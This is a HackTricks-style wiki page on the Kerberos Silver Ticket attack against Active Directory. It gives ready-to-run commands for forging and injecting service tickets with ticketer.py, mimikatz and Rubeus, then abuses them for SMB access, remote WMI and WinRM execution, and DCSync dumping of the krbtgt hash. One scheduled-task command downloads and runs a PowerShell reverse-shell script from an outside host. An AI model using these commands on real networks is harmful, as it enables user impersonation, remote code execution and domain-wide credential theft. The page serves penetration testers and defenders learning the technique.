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189 lines
9 KiB
Markdown
189 lines
9 KiB
Markdown
# Silver Ticket
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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## Silver ticket
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The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
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For ticket crafting, different tools are employed based on the operating system:
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### On Linux
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```bash
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python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
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export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
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python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
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```
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### On Windows
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```bash
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# Create the ticket
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mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
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# Inject the ticket
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mimikatz.exe "kerberos::ptt <TICKET_FILE>"
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.\Rubeus.exe ptt /ticket:<TICKET_FILE>
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# Obtain a shell
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.\PsExec.exe -accepteula \\<TARGET> cmd
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```
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The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
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## Available Services
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| Service Type | Service Silver Tickets |
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| ------------------------------------------ | -------------------------------------------------------------------------- |
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| WMI | <p>HOST</p><p>RPCSS</p> |
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| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
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| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
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| Scheduled Tasks | HOST |
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| Windows File Share, also psexec | CIFS |
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| LDAP operations, included DCSync | LDAP |
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| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
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| Golden Tickets | krbtgt |
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Using **Rubeus** you may **ask for all** these tickets using the parameter:
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* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
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### Silver tickets Event IDs
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* 4624: Account Logon
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* 4634: Account Logoff
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* 4672: Admin Logon
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## Abusing Service tickets
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In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
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### CIFS
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With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
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```bash
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dir \\vulnerable.computer\C$
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dir \\vulnerable.computer\ADMIN$
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copy afile.txt \\vulnerable.computer\C$\Windows\Temp
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```
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You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
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{% content-ref url="../lateral-movement/psexec-and-winexec.md" %}
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[psexec-and-winexec.md](../lateral-movement/psexec-and-winexec.md)
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{% endcontent-ref %}
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### HOST
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With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
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```bash
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#Check you have permissions to use schtasks over a remote server
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schtasks /S some.vuln.pc
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#Create scheduled task, first for exe execution, second for powershell reverse shell download
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schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
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schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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#Check it was successfully created
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schtasks /query /S some.vuln.pc
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#Run created schtask now
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
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```
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### HOST + RPCSS
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With these tickets you can **execute WMI in the victim system**:
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```bash
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#Check you have enough privileges
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Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
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#Execute code
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Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
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#You can also use wmic
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wmic remote.computer.local list full /format:list
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```
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Find **more information about wmiexec** in the following page:
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{% content-ref url="../lateral-movement/wmiexec.md" %}
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[wmiexec.md](../lateral-movement/wmiexec.md)
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{% endcontent-ref %}
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### HOST + WSMAN (WINRM)
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With winrm access over a computer you can **access it** and even get a PowerShell:
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```bash
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New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
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```
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Check the following page to learn **more ways to connect with a remote host using winrm**:
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{% content-ref url="../lateral-movement/winrm.md" %}
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[winrm.md](../lateral-movement/winrm.md)
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{% endcontent-ref %}
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{% hint style="warning" %}
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Note that **winrm must be active and listening** on the remote computer to access it.
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{% endhint %}
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### LDAP
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With this privilege you can dump the DC database using **DCSync**:
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```
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mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
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```
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**Learn more about DCSync** in the following page:
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## References
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
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* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
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{% content-ref url="dcsync.md" %}
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[dcsync.md](dcsync.md)
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{% endcontent-ref %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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